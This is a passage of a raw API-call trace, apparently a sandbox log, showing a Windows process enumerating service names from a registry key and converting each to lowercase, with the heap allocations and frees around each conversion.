lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0241.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.915] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.915] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.915] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.915] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0241.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.916] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.916] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.916] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0241.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0241.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0241.917] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0241.918] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0241.919] RegEnumKeyW (in: hKey=0x150, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0241.920] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0241.921] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0241.921] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0241.921] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0241.921] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0241.921] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0241.976] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0241.977] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0241.978] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0241.979] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0241.980] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0241.981] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") 